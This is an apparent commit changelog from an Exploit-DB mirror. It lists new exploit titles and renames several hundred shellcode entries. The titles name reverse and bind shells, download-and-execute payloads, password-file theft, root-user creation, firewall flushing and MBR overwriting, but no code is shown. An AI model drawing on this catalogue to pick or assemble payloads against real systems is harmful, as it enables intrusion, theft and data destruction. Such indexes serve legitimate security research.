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exploit-db-mirror/platforms/linux/dos/39445.c
Offensive Security c7b4bfd8e6 DB: 2017-08-23 
23 new exploits

Microsoft Windows 7 SP1 x86 -  GDI Palette Objects Local Privilege Escalation (MS17-017)
Microsoft Windows 7 SP1 x86 - GDI Palette Objects Local Privilege Escalation (MS17-017)
Disk Pulse Enterprise 9.9.16 - 'Import Command' Buffer Overflow
Disk Savvy Enterprise 9.9.14 - 'Import Command' Buffer Overflow
VX Search Enterprise 9.9.12 - 'Import Command' Buffer Overflow
Microsoft Windows - Escalate UAC Protection Bypass (Via COM Handler Hijack) (Metasploit)

IBM OpenAdmin Tool - SOAP welcomeServer PHP Code Execution (Metasploit)

BSD - Passive Connection Shellcode (124 bytes)
BSD - Reverse TCP /bin/sh Shell (127.0.0.1:31337/TCP) Shellcode (124 bytes)
BSD/x86 - setuid(0) then execve /bin/sh Shellcode (30 bytes)
BSD/x86 - Bind Shell  31337/TCP + setuid(0) Shellcode (94 bytes)
BSD/x86 - execve /bin/sh multiplatform Shellcode (27 bytes)
BSD/x86 - execve /bin/sh setuid (0) Shellcode (29 bytes)
BSD/x86 - Bind Shell 31337/TCP Shellcode (83 bytes)
BSD/x86 - Bind Random Port Shellcode (143 bytes)
BSD/x86 - setuid(0) + execve /bin/sh Shellcode (30 bytes)
BSD/x86 - Bind TCP Shell (31337/TCP) + setuid(0) Shellcode (94 bytes)
BSD/x86 - execve /bin/sh Shellcode (27 bytes)
BSD/x86 - execve /bin/sh + setuid(0) Shellcode (29 bytes)
BSD/x86 - Bind TCP Shell (31337/TCP) Shellcode (83 bytes)
BSD/x86 - Bind TCP Shell (Random Port) Shellcode (143 bytes)
BSD/x86 - execve /bin/sh Crypt Shellcode (49 bytes)
BSD/x86 - execve /bin/sh ENCRYPT* Shellcode (57 bytes)
BSD/x86 - Connect torootteam.host.sk:2222 Shellcode (93 bytes)
BSD/x86 - cat /etc/master.passwd | mail [email] Shellcode (92 bytes)
BSD/x86 - execve /bin/sh Encoded Shellcode (49 bytes)
BSD/x86 - execve /bin/sh Encoded Shellcode (57 bytes)
BSD/x86 - Reverse TCP Shell (torootteam.host.sk:2222/TCP) Shellcode (93 bytes)
BSD/x86 - execve /bin/cat /etc/master.passwd | mail [email] Shellcode (92 bytes)
BSDi/x86 - execve /bin/sh toupper evasion Shellcode (97 bytes)
FreeBSD i386 & AMD64 - Execve /bin/sh Shellcode (Anti-Debugging) (140 bytes)
BSDi/x86 - execve /bin/sh ToUpper Encoded Shellcode (97 bytes)
FreeBSD x86 / x64 - execve /bin/sh Anti-Debugging Shellcode (140 bytes)
FreeBSD/x86 - connect back.send.exit /etc/passwd Shellcode (112 bytes)
FreeBSD/x86 - kill all processes Shellcode (12 bytes)
FreeBSD/x86 - rev connect + recv + jmp + return results Shellcode (90 bytes)
FreeBSD/x86 - /bin/cat /etc/master.passwd Null-Free Shellcode (65 bytes)
FreeBSD/x86 - Reverse /bin/sh Shell (127.0.0.1:8000) Shellcode (89 bytes)
FreeBSD/x86 - setuid(0); execve(ipf -Fa); Shellcode (57 bytes)
FreeBSD/x86 - /bin/sh Encrypted Shellcode (48 bytes)
FreeBSD/x86 - Reverse TCP cat /etc/passwd (192.168.1.33:8000/TCP) Shellcode (112 bytes)
FreeBSD/x86 - Kill All Processes Shellcode (12 bytes)
FreeBSD/x86 - ConnectBack (172.17.0.9:8000/TCP) + Receive Shellcode + JMP + Return Results Null-Free Shellcode (90 bytes)
FreeBSD/x86 - execve /bin/cat /etc/master.passwd Null-Free Shellcode (65 bytes)
FreeBSD/x86 - Reverse TCP /bin/sh Shell (127.0.0.1:8000) Null-Free Shellcode (89 bytes)
FreeBSD/x86 - setuid(0); + execve(ipf -Fa); Shellcode (57 bytes)
FreeBSD/x86 - execve /bin/sh Encoded Shellcode (48 bytes)

FreeBSD/x86 - execve /bin/sh Shellcode (2) (23 bytes)
FreeBSD/x86 - execve /bin/sh Shellcode (23 bytes)

FreeBSD/x86 - kldload /tmp/o.o Shellcode (74 bytes)
FreeBSD/x86 - Load Kernel Module (/sbin/kldload /tmp/o.o) Shellcode (74 bytes)

FreeBSD/x86 - Connect Port 31337 Shellcode (102 bytes)
FreeBSD/x86 - Reverse TCP /bin/sh Shell (127.0.0.1:31337/TCP) Shellcode (102 bytes)
Linux/x86 - Bind Shellcode (Generator)
Windows XP SP1 - Bind Shellcode (Generator)
(Generator) - /bin/sh Polymorphic With Printable ASCII Characters Shellcode
Linux/x86 - cmd Null-Free Shellcode (Generator)
(Generator) - Alphanumeric Shellcode (Encoder/Decoder)
Linux/x86 - Bind TCP Shellcode (Generator)
Windows XP SP1 - Bind TCP Shell Shellcode (Generator)
Linux - execve /bin/sh Polymorphic With Printable ASCII Characters Shellcode (Generator)
Linux/x86 - Command Null-Free Shellcode (Generator)
Windows - Reverse TCP Shell (127.0.0.1:123/TCP) Alphanumeric Shellcode (Encoder/Decoder) (Generator)
Win32 - Multi-Format Encoding Tool Shellcode (Generator)
iOS - Version-independent Shellcode
Cisco IOS - Connectback 21/TCP Shellcode
Windows x86 - Multi-Format Encoding Tool Shellcode (Generator)
iOS Version-independent - Null-Free Shellcode
Cisco IOS - New TTY / Privilege Level To 15 / Reverse Virtual Terminal Shell (21/TCP) Shellcode
Linux/x86-64 - Flush IPTables Rules Shellcode (84 bytes)
Linux/x86-64 - Reverse TCP Semi-Stealth Shell  Shellcode (88+ bytes)  (Generator)
Linux/MIPS (Linksys WRT54G/GL) - Bind 4919/TCP Shellcode (276 bytes)
Linux/x86-64 - Flush IPTables Rules (/sbin/iptables -F) Shellcode (84 bytes)
Linux/x86-64 - Reverse TCP Semi-Stealth /bin/bash Shell Shellcode (88+ bytes) (Generator)
Linux/MIPS (Linksys WRT54G/GL) - Bind TCP /bin/sh Shell (4919/TCP) Shellcode (276 bytes)

Linux/PPC - connect back (192.168.1.1:31337) execve /bin/sh Shellcode (240 bytes)
Linux/PPC - Reverse TCP /bin/sh Shell (192.168.1.1:31337/TCP) Shellcode (240 bytes)

Linux/SPARC - Bind 8975/TCP Shellcode (284 bytes)
Linux/SPARC - Bind TCP Shell (8975/TCP) Null-Free Shellcode (284 bytes)
Linux/x86 - killall5 polymorphic Shellcode (61 bytes)
Linux/x86 - /bin/sh Polymorphic Shellcode (48 bytes)
Linux/x86 - Bind 4444/TCP Shellcode (XOR Encoded) (152 bytes)
Linux/x86 - reboot() polymorphic Shellcode (57 bytes)
Linux/x86 - chmod(_/etc/shadow__666) Polymorphic Shellcode (54 bytes)
Linux/x86 - setreuid(geteuid()_geteuid())_execve(_/bin/sh__0_0) Shellcode (34 bytes)
Linux/x86 - Bind 8000/TCP + Execve Iptables -F Shellcode (176 bytes)
Linux/x86 - Bind 8000/TCP + Add Root User Shellcode (225+ bytes)
Linux/x86 - Bind 8000/TCP ASM Code Linux Shellcode (179 bytes)
Linux/x86 - killall5 Polymorphic Shellcode (61 bytes)
Linux/x86 - execve /bin/sh Polymorphic Shellcode (48 bytes)
Linux/x86 - Bind TCP /bin/sh Shell (4444/TCP) XOR Encoded Shellcode (152 bytes)
Linux/x86 - reboot() Polymorphic Shellcode (57 bytes)
Linux/x86 - chmod 666 /etc/shadow Polymorphic Shellcode (54 bytes)
Linux/x86 - setreuid(geteuid()_ geteuid()) + execve(_/bin/sh__0_0) Shellcode (34 bytes)
Linux/x86 - Bind TCP Shell (8000/TCP) + Flush IPTables Rules (/sbin/iptables -F) Shellcode (176 bytes)
Linux/x86 - Bind TCP Shell (8000/TCP) + Add Root User Shellcode (225+ bytes)
Linux/x86 - Bind TCP /bin/sh Shell (8000/TCP) Shellcode (179 bytes)

Linux/x86 - Serial port shell binding + busybox Launching Shellcode (82 bytes)
Linux/x86 - Serial Port Shell Binding (/dev/ttyS0) + busybox Launching Null-Free Shellcode (82 bytes)

Linux/x86 - chmod(_/etc/shadow__666) + exit(0) Shellcode (30 bytes)
Linux/x86 - chmod 666 /etc/shadow + exit(0) Shellcode (30 bytes)

Linux/x86 - Shellcode Obfuscator (Generator)
Linux/x86 - Shellcode Obfuscator Null-Free (Generator)
Linux/x86 - setuid(0) + execve(/bin/sh_0_0) Shellcode (28 bytes)
Linux/x86 - setresuid(0_0_0) /bin/sh Shellcode (35 bytes)
Linux/x86 - setuid(0) + execve(/bin/sh_0_0) Null-Free Shellcode (28 bytes)
Linux/x86 - setresuid(0_0_0) + /bin/sh Shellcode (35 bytes)

Linux/x86 - Reverse TCP /etc/shadow (8192/TCP) Shellcode (155 bytes)
Linux/x86 - Reverse TCP cat /etc/shadow (8192/TCP) Shellcode (155 bytes)

Linux/x86 - setuid(0) . setgid(0) . aslr_off Shellcode (79 bytes)
Linux/x86 - setuid(0) + setgid(0) + aslr_off (Disable ASLR Security) Shellcode (79 bytes)

Linux/x86 - /sbin/iptables -F Shellcode (40 bytes)
Linux/x86 - Flush IPTables Rules (/sbin/iptables -F)  Shellcode (40 bytes)

Linux/x86 - /sbin/ipchains -F Shellcode (40 bytes)
Linux/x86 - Flush IPChains Rules (/sbin/ipchains -F) Shellcode (40 bytes)
Linux/x86 - HTTP/1.x GET_ Downloads + execve() Shellcode (111+ bytes)
Linux/x86 - executes command after setreuid Shellcode (49+ bytes)
Linux/x86 - HTTP/1.x GET + Downloads + execve() Null-Free Shellcode (111+ bytes)
Linux/x86 - setreuid + executes command (49+ bytes)
Linux/x86 - Bind 31337/TCP + setuid Shellcode (96 bytes)
Linux/x86 - Bind 2707/TCP Shellcode (84 bytes)
Linux/x86 - Bind TCP /bin/sh Shell (31337/TCP) + setuid Shellcode (96 bytes)
Linux/x86 - Bind TCP Shell (2707/TCP) Shellcode (84 bytes)
Linux/x86 - Bind 31337/TCP SET_PORT() Shellcode (100 bytes)
Linux/x86 - Reverse TCP Shell (192.168.13.22:31337) Shellcode (82 bytes)  (Generator)
Linux/x86 - Bind TCP /bin/sh Shell (31337/TCP) Shellcode (100 bytes)
Linux/x86 - Reverse TCP /bin/sh Shell (192.168.13.22:31337) Shellcode (82 bytes) (Generator)

Linux/x86 - Reverse TCP XOR Encoded Shell (127.0.0.1:80/TCP) Shellcode (371 bytes)
Linux/x86 - Reverse TCP Shell (127.0.0.1:80/TCP) XOR Encoded Shellcode (371 bytes)

Linux/x86 - /tmp/swr to SWAP restore Shellcode (109 bytes)
Linux/x86 - Read SWAP write to /tmp/swr Shellcode (109 bytes)
Linux/x86 - Bind TCP Password (gotfault) Shell (64713/TCP) Shellcode (166 bytes)
Linux/x86 - Bind 64713/TCP Shellcode (86 bytes)
Linux/x86 - Bind TCP /bin/sh Password (gotfault) Shell (64713/TCP) Shellcode (166 bytes)
Linux/x86 - Bind TCP /bin/sh Shell (64713/TCP) Shellcode (86 bytes)

Linux/x86 - setreuid(0_0) execve(_/bin/sh__ [_/bin/sh__ NULL]) Shellcode (33 bytes)
Linux/x86 - setreuid(0_0) + execve(_/bin/sh__ [_/bin/sh__ NULL]) Shellcode (33 bytes)

Linux/x86 - TCP Proxy Shellcode (236 bytes)
Linux/x86 - TCP Proxy Null-Free Shellcode (236 bytes)
Linux/x86 - execve /bin/sh xored for Intel x86 CPUID Shellcode (41 bytes)
Linux/x86 - execve /bin/sh Shellcode (+1 Encoded) (39 bytes)
Linux/x86 - Add User (xtz) To /etc/passwd Shellcode (59 bytes)
Linux/x86 - anti-debug trick (INT 3h trap) + execve /bin/sh Shellcode (39 bytes)
Linux/x86 - Bind /bin/sh to 31337/TCP Shellcode (80 bytes)
Linux/x86 - Bind /bin/sh to 31337/TCP + fork() Shellcode (98 bytes)
Linux/x86 (Intel x86 CPUID) - execve /bin/sh XORED Encoded Shellcode (41 bytes)
Linux/x86 - execve /bin/sh Shellcode +1 Encoded (39 bytes)
Linux/x86 - Add Root User (xtz) To /etc/passwd Shellcode (59 bytes)
Linux/x86 - Anti-Debug Trick (INT 3h trap) + execve /bin/sh Shellcode (39 bytes)
Linux/x86 - Bind TCP /bin/sh Shell (31337/TCP) Shellcode (80 bytes)
Linux/x86 - Bind TCP /bin/sh Shell (31337/TCP) + fork() Shellcode (98 bytes)

Linux/x86 - chmod(/etc/shadow_ 0666) + exit() Shellcode (32 bytes)
Linux/x86 - chmod 0666 /etc/shadow + exit() Shellcode (32 bytes)

Linux/x86 - Reverse  TCP Shell Shellcode (90 bytes)  (Generator)
Linux/x86 - Reverse TCP Shell Shellcode (90 bytes) (Generator)
Linux/x86 - read(0_buf_2541); chmod(buf_4755); Shellcode (23 bytes)
Linux/x86 - write(0__Hello core!\n__12); (with optional 7 byte exit) Shellcode (36 bytes)
Linux/x86 - snoop /dev/dsp Shellcode (172 bytes)
Linux/x86 - /bin/sh Standard Opcode Array Payload Shellcode (21 bytes)
Linux/x86 - read(0_buf_2541); + chmod(buf_4755); Shellcode (23 bytes)
Linux/x86 - write(0__Hello core!\n__12); Exit Shellcode (36/43 bytes)
Linux/x86 - snoop /dev/dsp Null-Free Shellcode (172 bytes)
Linux/x86 - execve /bin/sh Standard Opcode Array Payload Shellcode (21 bytes)
Linux/x86 - /bin/sh sysenter Opcode Array Payload Shellcode (23 bytes)
Linux/x86 - /bin/sh sysenter Opcode Array Payload Shellcode (27 bytes)
Linux/x86 - /bin/sh sysenter Opcode Array Payload Shellcode (45 bytes)
Linux/x86 - chroot + standart Shellcode (66 bytes)
Linux/x86 - execve /bin/sh sysenter Opcode Array Payload Shellcode (23 bytes)
Linux/x86 - execve /bin/sh sysenter Opcode Array Payload Shellcode (27 bytes)
Linux/x86 - execve /bin/sh sysenter Opcode Array Payload Shellcode (45 bytes)
Linux/x86 - Break chroot (../ 20x Loop) + execve /bin/sh Shellcode (66 bytes)
Linux/x86 - setreuid/execve Shellcode (31 bytes)
Linux/x86 - Alphanumeric Shellcode (64 bytes)
Linux/x86 - Alphanumeric using IMUL Method Shellcode (88 bytes)
Linux/x86 - setreuid + execve Shellcode (31 bytes)
Linux/x86 - Alphanumeric Encoded Shellcode (64 bytes)
Linux/x86 - Alphanumeric Encoder (IMUL Method) Shellcode (88 bytes)
Linux/x86 - Bind 5074/TCP (ToUpper Encoded) Shellcode (226 bytes)
Linux/x86 - Add User (t00r) Anti-IDS Shellcode (116 bytes)
Linux/x86 - Bind TCP Shell (5074/TCP) ToUpper Encoded Shellcode (226 bytes)
Linux/x86 - Add Root User (t00r) Anti-IDS Shellcode (116 bytes)
Linux/x86 - iptables -F Shellcode (45 bytes)
Linux/x86 - iptables -F Shellcode (58 bytes)
Linux/x86 - Flush IPTables Rules (/sbin/iptables -F)  Shellcode (45 bytes)
Linux/x86 - Flush IPTables Rules (/sbin/iptables -F)  Shellcode (58 bytes)

Linux/x86 - connect Shellcode (120 bytes)
Linux/x86 - Reverse TCP /bin/sh Shell Shellcode (120 bytes)

Linux/x86 - cp /bin/sh /tmp/katy ; chmod 4555 katy Shellcode (126 bytes)
Linux/x86 - cp /bin/sh /tmp/katy ; + chmod 4555 katy Shellcode (126 bytes)
Linux/x86 - execve /bin/sh setreuid(12_12) Shellcode (50 bytes)
Linux/x86 - Bind 5074/TCP Shellcode (92 bytes)
Linux/x86 - Bind 5074/TCP + fork() Shellcode (130 bytes)
Linux/x86 - Add User (t00r) Shellcode (82 bytes)
Linux/x86 - Add User Shellcode (104 bytes)
Linux/x86 - break chroot Shellcode (34 bytes)
Linux/x86 - break chroot Shellcode (46 bytes)
Linux/x86 - break chroot execve /bin/sh Shellcode (80 bytes)
Linux/x86 - execve /bin/sh + setreuid(12_12) Shellcode (50 bytes)
Linux/x86 - Bind TCP Shell (5074/TCP) Shellcode (92 bytes)
Linux/x86 - Bind TCP Shell (5074/TCP) + fork() Shellcode (130 bytes)
Linux/x86 - Add Root User (t00r) Shellcode (82 bytes)
Linux/x86 - Add Root User Shellcode (104 bytes)
Linux/x86 - Break chroot (../ 10x Loop) Shellcode (34 bytes)
Linux/x86 - Break chroot (../ 10x Loop) Shellcode (46 bytes)
Linux/x86 - Break chroot + execve /bin/sh Shellcode (80 bytes)

Linux/x86 - execve /bin/sh (XOR Encoded) Shellcode (55 bytes)
Linux/x86 - execve /bin/sh XOR Encoded Shellcode (55 bytes)

Linux/x86 - chroot()/execve() code Shellcode (80 bytes)
Linux/x86 - Add User (z) Shellcode (70 bytes)
Linux/x86 - break chroot setuid(0) + /bin/sh Shellcode (132 bytes)
Linux/x86-64 - Bind 4444/TCP Shellcode (132 bytes)
Linux/x86 - Add Root User (z) Shellcode (70 bytes)
Linux/x86 - setreuid(0_ 0) + Break chroot (mkdir/chdir/chroot _../_) + execve /bin/sh Shellcode (132 bytes)
Linux/x86-64 - Bind TCP Shell (4444/TCP) Shellcode (132 bytes)
Linux PPC & x86 - execve(_/bin/sh__{_/bin/sh__NULL}_NULL) Shellcode (99 bytes)
OSX PPC & x86 - execve(_/bin/sh__{_/bin/sh__NULL}_NULL) Shellcode (121 bytes)
Linux/x86 & Unix/SPARC & IRIX/MIPS - execve /bin/sh Shellcode (141 bytes)
Linux/x86 & Unix/SPARC - execve /bin/sh Shellcode (80 bytes)
Linux/x86 & bsd/x86 - execve /bin/sh Shellcode (38 bytes)
Linux/PPC / Linux/x86 - execve(_/bin/sh__{_/bin/sh__NULL}_NULL) Shellcode (99 bytes)
OSX/PPC / OSX/x86 - execve(_/bin/sh__{_/bin/sh__NULL}_NULL) Shellcode (121 bytes)
Linux/x86 / Unix/SPARC / IRIX/MIPS - execve /bin/sh Shellcode (141 bytes)
Linux/x86 / Unix/SPARC - execve /bin/sh Shellcode (80 bytes)
BSD/x86 / Linux/x86 - execve /bin/sh Shellcode (38 bytes)
NetBSD/x86 - setreuid(0_ 0); execve(_/bin//sh__ ..._ NULL); Shellcode (29 bytes)
NetBSD/x86 - setreuid(0_ 0); execve(_/bin//sh__ ..._ NULL); Shellcode (30 bytes)
NetBSD/x86 - setreuid(0_ 0); + execve(_/bin//sh__ ..._ NULL); Shellcode (29 bytes)
NetBSD/x86 - setreuid(0_ 0); + execve(_/bin//sh__ ..._ NULL); Shellcode (30 bytes)
OpenBSD/x86 - Bind 6969/TCP Shellcode (148 bytes)
OpenBSD/x86 - Add user _w00w00_ Shellcode (112 bytes)
OSX/PPC - sync()_ reboot() Shellcode (32 bytes)
OpenBSD/x86 - Bind TCP Shell (6969/TCP) Shellcode (148 bytes)
OpenBSD/x86 - Add Root User (w00w00) Shellcode (112 bytes)
OSX/PPC - sync() + reboot() Shellcode (32 bytes)

OSX/PPC - Add user _r00t_ Shellcode (219 bytes)
OSX/PPC - Add Root User (r00t) Shellcode (219 bytes)
Solaris/SPARC - executes command after setreuid Shellcode (92+ bytes)
Solaris/SPARC -  Reverse TCP XNOR Encoded Shell (44434/TCP) Shellcode (600 bytes) (Generator)
Solaris/SPARC - setreuid/execve Shellcode (56 bytes)
Solaris/SPARC - Bind 6666/TCP Shellcode (240 bytes)
Solaris/SPARC - setreuid + executes command Shellcode (92+ bytes)
Solaris/SPARC - Reverse TCP Shell (44434/TCP) XNOR Encoded Shellcode (600 bytes) (Generator)
Solaris/SPARC - setreuid + execve Shellcode (56 bytes)
Solaris/SPARC - Bind TCP Shell (6666/TCP) Shellcode (240 bytes)
Solaris/SPARC - Bind 6789/TCP Shellcode (228 bytes)
Solaris/SPARC - Reverse TCP Shell (192.168.1.4:5678/TCP) Shellcode (204 bytes)
Solaris/SPARC - Bind Shellcode (240 bytes)
Solaris/x86 - Bind TCP Shellcode (Generator)
Solaris/SPARC - Bind TCP /bin/sh (6789/TCP) Shellcode (228 bytes)
Solaris/SPARC - Reverse TCP /bin/sh Shell (192.168.1.4:5678/TCP) Shellcode (204 bytes)
Solaris/SPARC - Bind TCP Shell Shellcode (240 bytes)
Solaris/x86 - Bind TCP Shellcode (Generator)
Windows 5.0 < 7.0 x86 - Bind Shell 28876/TCP Null-Free Shellcode
Win32/XP SP2 (EN) - cmd.exe Shellcode (23 bytes)
Win32 - SEH Omelet Shellcode
Win32 - Bind 23/TCP Winexec Telnet Shellcode (111 bytes)
Win32 - PEB!NtGlobalFlags Shellcode (14 bytes)
Win32 XP SP2 (FR) - Sellcode cmd.exe Shellcode (32 bytes)
Win32/XP SP2 - cmd.exe Shellcode (57 bytes)
Win32 - PEB 'Kernel32.dll' ImageBase Finder Alphanumeric Shellcode (67 bytes)
Win32 - PEB 'Kernel32.dll' ImageBase Finder (ASCII Printable) Shellcode (49 bytes)
Win32 - ConnectBack + Download A File + Save + Execute Shellcode
Win32 - Download File + Execute Shellcode (Browsers Edition) (Generator) (275+ bytes)
Win32 - Download File + Execute Shellcode (192 bytes)
Win32 - Download File + Execute Shellcode (124 bytes)
Win32/NT/XP - IsDebuggerPresent Shellcode (39 bytes)
Win32 SP1/SP2 - Beep Shellcode (35 bytes)
Win32/XP SP2 - Pop up message box Shellcode (110 bytes)
Win32 - WinExec() Command Parameter Shellcode (104+ bytes)
Win32 - Download File + Execute Shellcode (226+ bytes)
Windows NT/2000/XP (Russian) - Add User 'slim' Shellcode (318 bytes)
Windows 5.0 < 7.0 x86 - Bind TCP Shell (28876/TCP) Null-Free Shellcode
Windows XP SP2 x86 (English) - cmd.exe Shellcode (23 bytes)
Windows x86 - SEH Omelet Shellcode
Windows x86 - Add Administrator User (GAZZA/123456) + Start Telnet Service Shellcode (111 bytes)
Windows x86 - PEB!NtGlobalFlags Shellcode (14 bytes)
Windows XP SP2 x86 (French) - Sellcode cmd.exe Shellcode (32 bytes)
Windows XP SP2 x86 - cmd.exe Shellcode (57 bytes)
Windows x86 - PEB _Kernel32.dll_ ImageBase Finder Alphanumeric Shellcode (67 bytes)
Windows x86 - PEB _Kernel32.dll_ ImageBase Finder (ASCII Printable) Shellcode (49 bytes)
Windows x86 - ConnectBack + Download A File + Save + Execute Shellcode
Windows x86 - Download File + Execute Shellcode (Browsers Edition) (275+ bytes) (Generator)
Windows x86 - Download File + Execute Shellcode (192 bytes)
Windows x86 - Download File + Execute Shellcode (124 bytes)
Windows NT/XP x86 - IsDebuggerPresent Shellcode (39 bytes)
Windows SP1/SP2 x86 - Beep Shellcode (35 bytes)
Windows XP SP2 x86 - Pop up message box Shellcode (110 bytes)
Windows x86 - WinExec() Command Parameter Shellcode (104+ bytes)
Windows x86 - Download File + Execute Shellcode (226+ bytes)
Windows NT/2000/XP (Russian) - Add Administartor User (slim/shady) Shellcode (318 bytes)

Windows XP/2000/2003 - Reverse TCP Shell (127.0.0.1:53) Shellcode (275 bytes)  (Generator)
Windows XP/2000/2003 - Reverse TCP Shell (127.0.0.1:53) Shellcode (275 bytes) (Generator)
Windows XP - Download File + Execute Shellcode
Windows XP SP1 - Bind 58821/TCP Shellcode (116 bytes)
Windows XP - Download File + Execute Null-Free Shellcode
Windows XP SP1 - Bind TCP Shell (58821/TCP) Shellcode (116 bytes)

Win64 - (URLDownloadToFileA) Download + Execute Shellcode (218+ bytes)
Windows x64 - (URLDownloadToFileA) Download + Execute Shellcode (218+ bytes)
Linux/x86 - setuid(0) + cat /etc/shadow Shellcode (49 bytes)
Linux/x86 - chmod(/etc/shadow_ 0666) + exit() Shellcode (33 bytes)
Linux/x86 - setuid(0) + /bin/cat /etc/shadow Shellcode (49 bytes)
Linux/x86 - chmod 0666 /etc/shadow + exit() Shellcode (33 bytes)
Linux/x86 - overwrite MBR on /dev/sda with _LOL!' Shellcode (43 bytes)
Win32 XP SP3 - ShellExecuteA Shellcode
Linux/x86 - Pverwrite MBR on /dev/sda with _LOL!' Shellcode (43 bytes)
Windows XP SP3 x86 - ShellExecuteA Shellcode
Win32 XP SP3 - Add Firewall Rule to Allow 445/TCP Traffic Shellcode
FreeBSD/x86 - Bind 1337/TCP Shellcode (167 bytes)
Win32/XP SP2 - calc.exe Shellcode (45 bytes)
Windows XP SP3 x86 - Add Firewall Rule to Allow 445/TCP Traffic Shellcode
FreeBSD/x86 - Bind TCP /bin/sh Shell (1337/TCP) Shellcode (167 bytes)
Windows XP SP2 x86 - calc.exe Shellcode (45 bytes)

Win32/XP SP2 (EN + AR) - cmd.exe Shellcode (23 bytes)
Windows XP SP2 x86 (English / Arabic) - cmd.exe Shellcode (23 bytes)

Linux/x86 - break chroot Shellcode (79 bytes)
Linux/x86 - setuid + Break chroot (mkdir/chdir/chroot _..._) + execve /bin/sh Shellcode (79 bytes)

Linux/x86 - Append '/etc/passwd' + exit() Shellcode (107 bytes)
Linux/x86 - Add Root User (toor) To /etc/passwd + exit() Shellcode (107 bytes)

Win32 XP SP2 (FR) - calc Shellcode (19 bytes)
Windows XP SP2 x86 (French) - calc Shellcode (19 bytes)
Linux/x86 - bin/cat /etc/passwd Shellcode (43 bytes)
Win32 XP SP3 (English) - cmd.exe Shellcode (26 bytes)
Win32 XP SP2 (Turkish) - cmd.exe Shellcode (26 bytes)
Linux/x86 - /bin/sh Shellcode (8 bytes)
Linux/x86 - execve /bin/cat /etc/passwd Shellcode (43 bytes)
Windows XP SP3 x86 (English) - cmd.exe Shellcode (26 bytes)
Windows XP SP2 x86 (Turkish) - cmd.exe Shellcode (26 bytes)
Linux/x86 - execve /bin/sh Shellcode (8 bytes)
Linux/x86 - disabled modsecurity Shellcode (64 bytes)
Win32 - JITed Stage-0 Shellcode
Win32 - JITed exec notepad Shellcode
Windows XP Professional SP2 (ITA) - calc.exe Shellcode (36 bytes)
Win32 - Mini HardCode WinExec&ExitProcess Shellcode (16 bytes)
Linux/x86 - Disabled modsecurity Shellcode (64 bytes)
Windows x86 - JITed Stage-0 Shellcode
Windows x86 - JITed exec notepad Shellcode
Windows XP Professional SP2 (Italian) - calc.exe Shellcode (36 bytes)
Windows XP SP2 x86 - write.exe + ExitProcess WinExec Shellcode (16 bytes)
Win32/XP SP3 (RU) - WinExec+ExitProcess cmd Shellcode (12 bytes)
Win32 - MessageBox Shellcode (Metasploit)
Windows XP SP3 x86 (Russia) - cmd + ExitProcess WinExec Shellcode (12 bytes)
Windows x86 - MessageBox Shellcode (Metasploit)
Linux/x86 - Bind nc -lvve/bin/sh -p13377 Shellcode
Linux/x86 - chmod(_/etc/shadow__ 0666) Shellcode (36 bytes)
Linux/x86 - Bind Netcat Shell (13377/TCP) Shellcode
Linux/x86 - chmod 0666 /etc/shadow Shellcode (36 bytes)
Linux/x86 - chmod(_/etc/shadow__ 0777) Shellcode (33 bytes)
Linux/x86 - chmod(_/etc/shadow__ 0777) Shellcode (29 bytes)
Linux - write() + exit(0) Shellcode (Genearator With Customizable Text)
Linux/x86 - chmod  0777 /etc/shadow Shellcode (33 bytes)
Linux/x86 - chmod 0777 /etc/shadow Shellcode (29 bytes)
Linux - write() + exit(0) Shellcode (Generator)

Linux/x86 - Sends 'Phuck3d!' To All Terminals Shellcode (60 bytes)
Linux/x86 - Sends _Phuck3d!_ To All Terminals Shellcode (60 bytes)

Windows XP SP2 (FR) - Download File + Execute Shellcode
Windows XP SP2 (French) - Download File + Execute Shellcode

Linux/x86 - Disable randomize stack addresse Shellcode (106 bytes)
Linux/x86 -  Disable ASLR Security Shellcode Shellcode (106 bytes)
Linux/x86 - setuid(0) + chmod(_/etc/shadow__ 0666) Polymorphic Shellcode (61 bytes)
Linux/x86 - change mode 0777 of '/etc/shadow' with sys_chmod syscall Shellcode (39 bytes)
Linux/x86 - setuid(0) + chmod 0666 /etc/shadow Polymorphic Shellcode (61 bytes)
Linux/x86 - (sys_chmod syscall) chmod 0777 /etc/shadow Shellcode (39 bytes)

Linux/x86 - change mode 0777 of '/etc/passwd' with sys_chmod syscall Shellcode (39 bytes)
Linux/x86 - (sys_chmod syscall) chmod 0777 /etc/passwd Shellcode (39 bytes)

Linux/x86 - Reverse  Netcat Shell (8080/TCP) Shellcode (76 bytes)
Linux/x86 - Reverse Netcat Shell (8080/TCP) Shellcode (76 bytes)

Solaris/x86 - Sync() & reboot() + exit(0) Shellcode (48 bytes)
Solaris/x86 - Sync() + reboot() + exit(0) Shellcode (48 bytes)
Linux/x86 - Bind 31337/TCP + setreuid (0_0) Polymorphic Shellcode (131 bytes)
Linux/x86-64 - setuid(0) + chmod (_/etc/passwd__ 0777) & exit(0) Shellcode (63 bytes)
Linux/x86 - Bind TCP Shell (31337/TCP) + setreuid(0_0) Polymorphic Shellcode (131 bytes)
Linux/x86-64 - setuid(0) + chmod 0777 /etc/passwd + exit(0) Shellcode (63 bytes)

Windows XP SP3 (SPA) - URLDownloadToFileA + CreateProcessA + ExitProcess Shellcode (176+ bytes)
Windows XP SP3 (Spanish) - URLDownloadToFileA + CreateProcessA + ExitProcess Shellcode (176+ bytes)

Windows - WinExec cmd.exe + ExitProcess Shellcode (195 bytes)
Windows - cmd.exe + ExitProcess WinExec Shellcode (195 bytes)
Linux/x86 - /bin/sh Polymorphic Shellcode (116 bytes)
Linux/ARM - chmod(_/etc/shadow__ 0777) polymorphic Shellcode (84 bytes)
Linux/ARM - chmod(_/etc/shadow__ 0777) Shellcode (35 bytes)
Linux/x86 - execve /bin/sh Polymorphic Shellcode (116 bytes)
Linux/ARM - chmod 0777 /etc/shadow Polymorphic Shellcode (84 bytes)
Linux/ARM - chmod 0777 /etc/shadow Shellcode (35 bytes)
Linux/ARM - execve(_/bin/sh__ [_/bin/sh_]_ NULL); (XOR 88 encoded) Polymorphic Shellcode (78 bytes)
Linux/x86 - Bind Shell 64533 Shellcode (97 bytes)
Linux/ARM - execve(_/bin/sh__ [_/bin/sh_]_ NULL); XOR 88 Encoded Polymorphic Shellcode (78 bytes)
Linux/x86 - Bind TCP /bin/sh Shell (64533/TCP) Shellcode (97 bytes)
Linux - setreuid(0_0) execve(_/bin/sh__NULL_NULL) XOR Encoded Shellcode (62 bytes)
Safari 4.0.5 - 5.0.0 (Windows XP/7) - JavaScript JITed exec calc (ASLR/DEP Bypass) Shellcode
